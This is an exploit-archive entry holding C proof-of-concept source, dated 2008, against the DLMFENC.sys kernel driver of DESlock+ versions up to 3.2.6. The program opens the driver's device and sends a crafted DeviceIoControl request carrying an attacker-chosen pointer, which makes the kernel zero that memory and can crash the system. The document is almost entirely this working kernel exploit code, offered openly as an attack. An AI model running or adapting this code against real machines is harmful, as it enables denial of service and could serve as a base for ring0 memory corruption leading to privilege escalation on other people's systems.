DESlock+ <= 3.2.6 DLMFENC.sys Local Kernel ring0 link list zero PoC

2008-02-18 00:00:00

/* deslock-list-zero.c
*
* Copyright (c) 2008 by <[email protected]>
*
* DESlock+ <= 3.2.6 local kernel ring0 link list zero POC
* by mu-b - Fri 21 Dec 2007
*
* - Tested on: DLMFENC.sys 1.0.0.26
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
*/

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>

#define DLMFENC_IOCTL 0x0FA4204C
#define DLMFENC_FLAG 0xDEADBEEF
#define ZERO_MEM 0xDEADBEEF

#define ARG_SIZE(a) ((a-(sizeof (int)*2))/sizeof (void *))

struct ioctl_req {
int flag;
int req_num;
void *arg[ARG_SIZE(0x20)];
};

int
main (int argc, char **argv)
{
struct ioctl_req req;
HANDLE hFile;
BOOL result;
DWORD rlen;

printf ("DESlock+ <= 3.2.6 local kernel ring0 link list zero PoC\n"
"by: <[email protected]>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

fflush (stdout);
hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
exit (EXIT_FAILURE);
}

memset (&req, 0, sizeof req);
req.flag = DLMFENC_FLAG;
req.req_num = 4;
req.arg[0] = (void *) ZERO_MEM;

result = DeviceIoControl (hFile, DLMFENC_IOCTL,
&req, sizeof req, &req, sizeof req, &rlen, 0);
if (!result)
{
fprintf (stderr, "* DeviceIoControl failed\n");
exit (EXIT_FAILURE);
}

printf ("* hmmm, you didn't STOP the box?!?! rlen: %d\n", rlen);

CloseHandle (hFile);

return (EXIT_SUCCESS);
}

//

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